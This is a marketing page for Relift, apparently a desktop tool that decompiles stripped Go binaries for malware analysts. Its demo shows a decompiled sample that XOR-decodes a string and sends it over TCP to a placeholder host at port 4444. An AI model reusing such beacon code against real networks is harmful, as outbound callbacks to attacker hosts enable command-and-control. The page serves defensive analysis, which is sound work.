Skip to content

From suspicious binary to readable analysis.

Download ReliftBook a demo
Relift
Functions7217
filter
github.com/joho/godotenv0/11
readFile1
github.com/rogpeppe/go-internal/...1
init
main1/9
DownloadFile2
runtime.AddCleanup[go.shape.s...0/2
Uint32; os1
runtime.AddCleanup[go.shape.s...0/2
zoneV6 string },go1
slices.DeleteFunc[go.shape.[]]*...0/1
func main()4e1a00–4e1bff512 Bmain.go:272 unk
annotationsinterleaveGraphRun0x4e1a00
DECODES"hello"Re-run this decoder
func main() {
arr0 := _unk4
// inlined: main.decode
004e1a27 copy(arr0[:], "\x00\x00\x00\x00")
004e1a2f copy(arr0[4:], "\x00")
004e1a1a for i, v := range []_unkT{50, 63, 54, 54, 53} {
004e1a40 arr0[i] = v ^ 90
}
004e1a59 v0 := string(arr0[:5])
// inlined: main.beacon.addr
004e1a82 v1 := "192.0.2.17" + ":4444"
004e1aa0 v2, err := net.DialTimeout("tcp", v1, 2 * time.Second)
004e1aa8 if err == nil {
004e1b7a fmt.Fprintf(v2, "%s\n", v0)
004e1b8d v2.Close() // net.Conn.itab[0]
}
004e1b11 fmt.Println(v0) // → fmt.Fprintln @4e1b11
}

3 calls named · 2 loops · 2 unknown values

XREFS
Callers0

No callers

Callees4

net.DialTimeout

fmt.Fprintf

net.Conn.Close

fmt.Fprintln

3 runtime helpers hidden

ReadyFUNCTIONS7217ADDR0x4e1a00SELECTIONmain.main
ARCHamd64OSgo1.26.8Relift 0.1.0

main.HostFiles

func main.HostFiles(...)

ARGUMENTS

[]bytehex9f 2a c1 …x

+ argument

RunDebugBUDGET default 50k 500k 5M

OUTCOME

stopped8164 steps

panicked on this input (runtime.throw)

no observable effect

input []byte[0] unchanged

FIDELITY LEDGER

MODELED (none)
STUBBED runtime.makeslice, runtime.memmove, runtime.newobject, runtime.slicebytetostring, runtime.throw
RELIABILITY partial

See what the malware does while it runs

Run samples in an isolated lab, step through their behavior, and trace runtime activity back to the recovered code.

Try Relift
  • Sandboxed Lab runs
  • Step debugger

Read the binary
like it were source

Relift turns stripped Go binaries into readable functions and control flow, so analysts can reach a verdict faster.

Try Relift
  • Lifted reconstruction
  • Control-flow graphs
  • Cross-references
  • String and type recovery
  • Sandboxed Lab runs
  • Step debugger
Malware.exe
Calls
Code
Types
Findings
Functions

Built for the way
analysts actually work

Relift is a desktop tool, not a service. The binary never leaves the machine you opened it on.

Nothing leaves your machine

No upload, no cloud sandbox, no telemetry. Relift runs locally and the sample stays where you put it.

Go-native by design

Go-aware analysis resolves stripped builds into named functions and readable structure.

Evidence you can cite

Every claim traces back to an address. Export the report, graph and listing into your write-up.

Open your first binary in under a minute

Drop in a stripped Go executable and Relift returns a report, a call graph and a readable reconstruction. No account, no upload.

Download ReliftBook a demo

Working as a team? Shared Relift workspaces are on the way. Join the waitlist

Your binaries stay on your machine. The free edition shares anonymous usage data only if you opt in, and never your files, paths or code.

Read the usage data policy